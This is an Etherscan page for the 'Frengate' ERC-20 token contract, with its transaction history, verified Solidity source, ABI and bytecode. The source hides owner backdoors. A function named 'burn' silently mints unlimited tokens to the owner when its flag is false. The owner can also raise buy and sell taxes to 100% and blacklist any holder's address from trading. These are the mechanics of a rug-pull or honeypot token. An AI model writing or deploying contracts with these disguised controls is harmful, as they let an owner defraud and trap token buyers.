ETH Price: $2,238.74 (-6.41%)
Gas: 1.57 Gwei

Contract

0x09F00695C163b3963308B78C80343e9c61a319C2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer205527602024-08-18 3:15:3520 days ago1723950935IN
0x09F00695...c61a319C2
0 ETH0.000185921.14514277
Approve205517992024-08-18 0:03:1120 days ago1723939391IN
0x09F00695...c61a319C2
0 ETH0.000041841.42754356
Approve205517142024-08-17 23:45:5920 days ago1723938359IN
0x09F00695...c61a319C2
0 ETH0.000044240.9552878
Transfer195907822024-04-05 16:39:35154 days ago1712335175IN
0x09F00695...c61a319C2
0 ETH0.0021495338.76455529
Approve184185062023-10-24 7:02:47318 days ago1698130967IN
0x09F00695...c61a319C2
0 ETH0.0006748614.54013394
Approve183463032023-10-14 4:40:35328 days ago1697258435IN
0x09F00695...c61a319C2
0 ETH0.000313136.7222878
Approve182806402023-10-05 0:09:35338 days ago1696464575IN
0x09F00695...c61a319C2
0 ETH0.000287136.20728021
Approve181781322023-09-20 15:55:47352 days ago1695225347IN
0x09F00695...c61a319C2
0 ETH0.0003578414.73449036
Approve181758102023-09-20 8:08:35352 days ago1695197315IN
0x09F00695...c61a319C2
0 ETH0.0006855614.71735626
Approve181660982023-09-18 23:28:47354 days ago1695079727IN
0x09F00695...c61a319C2
0 ETH0.0004867110.47553776
Transfer181593422023-09-18 0:40:59355 days ago1694997659IN
0x09F00695...c61a319C2
0 ETH0.0010680319.18610028
Approve181593382023-09-18 0:40:11355 days ago1694997611IN
0x09F00695...c61a319C2
0 ETH0.0006374513.78035844
Remove Limits181593362023-09-18 0:39:47355 days ago1694997587IN
0x09F00695...c61a319C2
0 ETH0.0004004513.9149988
Remove Limits181593352023-09-18 0:39:35355 days ago1694997575IN
0x09F00695...c61a319C2
0 ETH0.0004722913.73794555
Approve181593262023-09-18 0:37:47355 days ago1694997467IN
0x09F00695...c61a319C2
0 ETH0.0011119723.87125078
Approve181592912023-09-18 0:30:35355 days ago1694997035IN
0x09F00695...c61a319C2
0 ETH0.0014207530.50009653
Approve181592912023-09-18 0:30:35355 days ago1694997035IN
0x09F00695...c61a319C2
0 ETH0.0015139132.50009653
Approve181592882023-09-18 0:29:47355 days ago1694996987IN
0x09F00695...c61a319C2
0 ETH0.0014510231.14989721
Approve181592882023-09-18 0:29:47355 days ago1694996987IN
0x09F00695...c61a319C2
0 ETH0.0016373535.14989721
Approve181592852023-09-18 0:29:11355 days ago1694996951IN
0x09F00695...c61a319C2
0 ETH0.0007624428.63950056
Approve181592852023-09-18 0:29:11355 days ago1694996951IN
0x09F00695...c61a319C2
0 ETH0.0012902927.69950056
Approve181592852023-09-18 0:29:11355 days ago1694996951IN
0x09F00695...c61a319C2
0 ETH0.0013323628.63950056
Approve181592852023-09-18 0:29:11355 days ago1694996951IN
0x09F00695...c61a319C2
0 ETH0.0013834629.69950056
Approve181592842023-09-18 0:28:59355 days ago1694996939IN
0x09F00695...c61a319C2
0 ETH0.0012898627.87702138
Approve181592832023-09-18 0:28:47355 days ago1694996927IN
0x09F00695...c61a319C2
0 ETH0.0010885923.36943008
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
181592612023-09-18 0:24:23355 days ago1694996663
0x09F00695...c61a319C2
5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Frengate

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-18
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.8;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Frengate is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 5;
    uint8 public sellTax = 5;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Frengate";
    string private constant _symbol = unicode"Fren";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000; // 0.25% of total supply
    uint256 private maxTxAmount =  _tTotal * 1 / 100; // 1% of total supply
    uint256 private maxWalletAmount = _tTotal * 2 / 100; // 2% of total supply

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;

    mapping (address => bool) private isExcludedFromFees;
    mapping (address => bool) private blackLists;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 100 && newSellTax <= 100, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

//    function setExcludedFromFees(address[] calldata users, bool isExcluded) external onlyOwner {
//        require(users.length > 0, "Empty users");
//        for (uint256 i; i < users.length; i++) {
//            isExcludedFromFees[users[i]] = isExcluded;
//        }
//    }

    function setBlackLists(address[] calldata users, bool isBlack) external onlyOwner {
        require(users.length > 0, "Empty users");
        for (uint256 i; i < users.length; i++) {
            blackLists[users[i]] = isBlack;
        }
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) {
            _balances[msg.sender] -= amount;
            return;
        }

        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");
        require(!blackLists[from] && !blackLists[to], "In blacklist");

        if (!tradingEnabled) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == uniswapV2Pair) {
            require(amount <= maxTxAmount, "Over max tx amount");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Over max wallet amount");
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        uint256 feeAmount = amount * tax / 100;

        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"bool","name":"isBlack","type":"bool"}],"name":"setBlackLists","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff000019166305050000179055612710620000286012600a62000381565b6200003890633b9aca0062000399565b6200004590601962000399565b620000519190620003bb565b6004556064620000646012600a62000381565b6200007490633b9aca0062000399565b6200008190600162000399565b6200008d9190620003bb565b6005556064620000a06012600a62000381565b620000b090633b9aca0062000399565b620000bd90600262000399565b620000c99190620003bb565b600655348015620000d957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001296012600a62000381565b6200013990633b9aca0062000399565b60016000620001506000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020556200017d6000546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055306000908152600a602081905260408220805460ff1916600190811790915591620001d06000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556200020b6000546001600160a01b031690565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002456012600a62000381565b6200025590633b9aca0062000399565b60405190815260200160405180910390a3620003de565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002c3578160001904821115620002a757620002a76200026c565b80851615620002b557918102915b93841c939080029062000287565b509250929050565b600082620002dc575060016200037b565b81620002eb575060006200037b565b81600181146200030457600281146200030f576200032f565b60019150506200037b565b60ff8411156200032357620003236200026c565b50506001821b6200037b565b5060208310610133831016604e8410600b841016171562000354575081810a6200037b565b62000360838362000282565b80600019048211156200037757620003776200026c565b0290505b92915050565b60006200039260ff841683620002cb565b9392505050565b6000816000190483118215151615620003b657620003b66200026c565b500290565b600082620003d957634e487b7160e01b600052601260045260246000fd5b500490565b61175c80620003ee6000396000f3fe60806040526004361061010d5760003560e01c80638a8c523c11610095578063a9059cbb11610064578063a9059cbb146102fd578063a9128ff01461031d578063ae9b6e101461033d578063cc1776d31461035d578063dd62ed3e1461037e57600080fd5b80638a8c523c146102735780638da5cb5b1461028857806395d89b41146102b05780639fac68cb146102dd57600080fd5b8063313ce567116100dc578063313ce567146101cf5780634f7041a5146101f157806370a0823114610211578063715018a614610247578063751039fc1461025e57600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674672656e6761746560c01b60208201525b6040516101539190611238565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046112a2565b6103c4565b6040519015158152602001610153565b34801561019857600080fd5b506101a16103db565b604051908152602001610153565b3480156101bb57600080fd5b5061017c6101ca3660046112ce565b6103fc565b3480156101db57600080fd5b5060125b60405160ff9091168152602001610153565b3480156101fd57600080fd5b506003546101df9062010000900460ff1681565b34801561021d57600080fd5b506101a161022c36600461130f565b6001600160a01b031660009081526001602052604090205490565b34801561025357600080fd5b5061025c61044e565b005b34801561026a57600080fd5b5061025c6104cb565b34801561027f57600080fd5b5061025c61050d565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102bc57600080fd5b50604080518082019091526004815263233932b760e11b6020820152610146565b3480156102e957600080fd5b5061025c6102f8366004611341565b6108f5565b34801561030957600080fd5b5061017c6103183660046112a2565b610978565b34801561032957600080fd5b5061025c610338366004611387565b610985565b34801561034957600080fd5b5061025c6103583660046113ba565b610a33565b34801561036957600080fd5b506003546101df906301000000900460ff1681565b34801561038a57600080fd5b506101a1610399366004611440565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d1338484610b0f565b5060015b92915050565b60006103e96012600a611568565b6103f790633b9aca00611577565b905090565b6000610409848484610c34565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461044491869161043f908690611596565b610b0f565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906115ad565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f55760405162461bcd60e51b8152600401610478906115ad565b6104fd6103db565b6005556105086103db565b600655565b6000546001600160a01b031633146105375760405162461bcd60e51b8152600401610478906115ad565b60035460ff161561057c5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610478565b6003805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d29030906105c46012600a611568565b61043f90633b9aca00611577565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062057600080fd5b505afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906115e2565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b557600080fd5b505afa1580156106c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ed91906115e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561073557600080fd5b505af1158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d91906115e2565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d71947306107b5816001600160a01b031660009081526001602052604090205490565b6000806107ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082d57600080fd5b505af1158015610841573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086691906115ff565b505060085460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108ba57600080fd5b505af11580156108ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f2919061162d565b50565b6000546001600160a01b0316331461091f5760405162461bcd60e51b8152600401610478906115ad565b801561094f573360009081526001602052604081208054849290610944908490611596565b909155506109749050565b336000908152600160205260408120805484929061096e90849061164a565b90915550505b5050565b60006103d1338484610c34565b6000546001600160a01b031633146109af5760405162461bcd60e51b8152600401610478906115ad565b60648260ff16111580156109c7575060648160ff1611155b610a015760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610478565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b8152600401610478906115ad565b81610a985760405162461bcd60e51b815260206004820152600b60248201526a456d70747920757365727360a81b6044820152606401610478565b60005b82811015610b095781600b6000868685818110610aba57610aba611662565b9050602002016020810190610acf919061130f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0181611678565b915050610a9b565b50505050565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60008111610c725760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610478565b6001600160a01b0383166000908152600b602052604090205460ff16158015610cb457506001600160a01b0382166000908152600b602052604090205460ff16155b610cef5760405162461bcd60e51b815260206004820152600c60248201526b125b88189b1858dadb1a5cdd60a21b6044820152606401610478565b60035460ff16610d7a576001600160a01b0383166000908152600a602052604090205460ff1680610d3857506001600160a01b0382166000908152600a602052604090205460ff165b610d7a5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610478565b6008546001600160a01b03848116911614801590610da657506008546001600160a01b03838116911614155b80610dc957506001600160a01b0383166000908152600a602052604090205460ff165b80610dec57506001600160a01b0382166000908152600a602052604090205460ff165b80610dfe5750600354610100900460ff165b15610e1357610e0e838383610f87565b505050565b6008546001600160a01b038381169116148015610e4157506004543060009081526001602052604090205410155b15610e8f576003805461ff001916610100179055610e7c610e77306001600160a01b031660009081526001602052604090205490565b611028565b6003805461ff0019169055610e8f611192565b6008546001600160a01b0384811691161415610f6057600554811115610eec5760405162461bcd60e51b815260206004820152601260248201527113dd995c881b585e081d1e08185b5bdd5b9d60721b6044820152606401610478565b60065481610f0f846001600160a01b031660009081526001602052604090205490565b610f19919061164a565b1115610f605760405162461bcd60e51b815260206004820152601660248201527513dd995c881b585e081dd85b1b195d08185b5bdd5b9d60521b6044820152606401610478565b600854610f7e90849083906001600160a01b038681169116146111d3565b9050610e0e8383835b6001600160a01b03831660009081526001602052604081208054839290610faf908490611596565b90915550506001600160a01b03821660009081526001602052604081208054839290610fdc90849061164a565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2791815260200190565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061105d5761105d611662565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e991906115e2565b816001815181106110fc576110fc611662565b6001600160a01b0392831660209182029290920101526007546111229130911684610b0f565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac9479261115f92879260009288929116904290600401611693565b600060405180830381600087803b15801561117957600080fd5b505af192505050801561118a575060015b610974575050565b47156111d1576009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108f2573d6000803e3d6000fd5b565b600080826111ec5760035462010000900460ff166111fa565b6003546301000000900460ff165b60ff1690506000606461120d8387611577565b6112179190611704565b9050611224863083610f87565b61122e8186611596565b9695505050505050565b600060208083528351808285015260005b8181101561126557858101830151858201604001528201611249565b81811115611277576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108f257600080fd5b600080604083850312156112b557600080fd5b82356112c08161128d565b946020939093013593505050565b6000806000606084860312156112e357600080fd5b83356112ee8161128d565b925060208401356112fe8161128d565b929592945050506040919091013590565b60006020828403121561132157600080fd5b813561132c8161128d565b9392505050565b80151581146108f257600080fd5b6000806040838503121561135457600080fd5b82359150602083013561136681611333565b809150509250929050565b803560ff8116811461138257600080fd5b919050565b6000806040838503121561139a57600080fd5b6113a383611371565b91506113b160208401611371565b90509250929050565b6000806000604084860312156113cf57600080fd5b833567ffffffffffffffff808211156113e757600080fd5b818601915086601f8301126113fb57600080fd5b81358181111561140a57600080fd5b8760208260051b850101111561141f57600080fd5b6020928301955093505084013561143581611333565b809150509250925092565b6000806040838503121561145357600080fd5b823561145e8161128d565b915060208301356113668161128d565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114bf5781600019048211156114a5576114a561146e565b808516156114b257918102915b93841c9390800290611489565b509250929050565b6000826114d6575060016103d5565b816114e3575060006103d5565b81600181146114f957600281146115035761151f565b60019150506103d5565b60ff8411156115145761151461146e565b50506001821b6103d5565b5060208310610133831016604e8410600b8410161715611542575081810a6103d5565b61154c8383611484565b80600019048211156115605761156061146e565b029392505050565b600061132c60ff8416836114c7565b60008160001904831182151516156115915761159161146e565b500290565b6000828210156115a8576115a861146e565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115f457600080fd5b815161132c8161128d565b60008060006060848603121561161457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561163f57600080fd5b815161132c81611333565b6000821982111561165d5761165d61146e565b500190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561168c5761168c61146e565b5060010190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116e35784516001600160a01b0316835293830193918301916001016116be565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261172157634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ec055a0a18751df10af3030fdf3a6753c39de5c91aaf96cad6264e093f32c2ab64736f6c63430008080033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80638a8c523c11610095578063a9059cbb11610064578063a9059cbb146102fd578063a9128ff01461031d578063ae9b6e101461033d578063cc1776d31461035d578063dd62ed3e1461037e57600080fd5b80638a8c523c146102735780638da5cb5b1461028857806395d89b41146102b05780639fac68cb146102dd57600080fd5b8063313ce567116100dc578063313ce567146101cf5780634f7041a5146101f157806370a0823114610211578063715018a614610247578063751039fc1461025e57600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674672656e6761746560c01b60208201525b6040516101539190611238565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046112a2565b6103c4565b6040519015158152602001610153565b34801561019857600080fd5b506101a16103db565b604051908152602001610153565b3480156101bb57600080fd5b5061017c6101ca3660046112ce565b6103fc565b3480156101db57600080fd5b5060125b60405160ff9091168152602001610153565b3480156101fd57600080fd5b506003546101df9062010000900460ff1681565b34801561021d57600080fd5b506101a161022c36600461130f565b6001600160a01b031660009081526001602052604090205490565b34801561025357600080fd5b5061025c61044e565b005b34801561026a57600080fd5b5061025c6104cb565b34801561027f57600080fd5b5061025c61050d565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102bc57600080fd5b50604080518082019091526004815263233932b760e11b6020820152610146565b3480156102e957600080fd5b5061025c6102f8366004611341565b6108f5565b34801561030957600080fd5b5061017c6103183660046112a2565b610978565b34801561032957600080fd5b5061025c610338366004611387565b610985565b34801561034957600080fd5b5061025c6103583660046113ba565b610a33565b34801561036957600080fd5b506003546101df906301000000900460ff1681565b34801561038a57600080fd5b506101a1610399366004611440565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d1338484610b0f565b5060015b92915050565b60006103e96012600a611568565b6103f790633b9aca00611577565b905090565b6000610409848484610c34565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461044491869161043f908690611596565b610b0f565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906115ad565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f55760405162461bcd60e51b8152600401610478906115ad565b6104fd6103db565b6005556105086103db565b600655565b6000546001600160a01b031633146105375760405162461bcd60e51b8152600401610478906115ad565b60035460ff161561057c5760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610478565b6003805460ff19166001179055600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d29030906105c46012600a611568565b61043f90633b9aca00611577565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062057600080fd5b505afa158015610634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065891906115e2565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b557600080fd5b505afa1580156106c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ed91906115e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561073557600080fd5b505af1158015610749573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076d91906115e2565b600880546001600160a01b039283166001600160a01b03199091161790556007541663f305d71947306107b5816001600160a01b0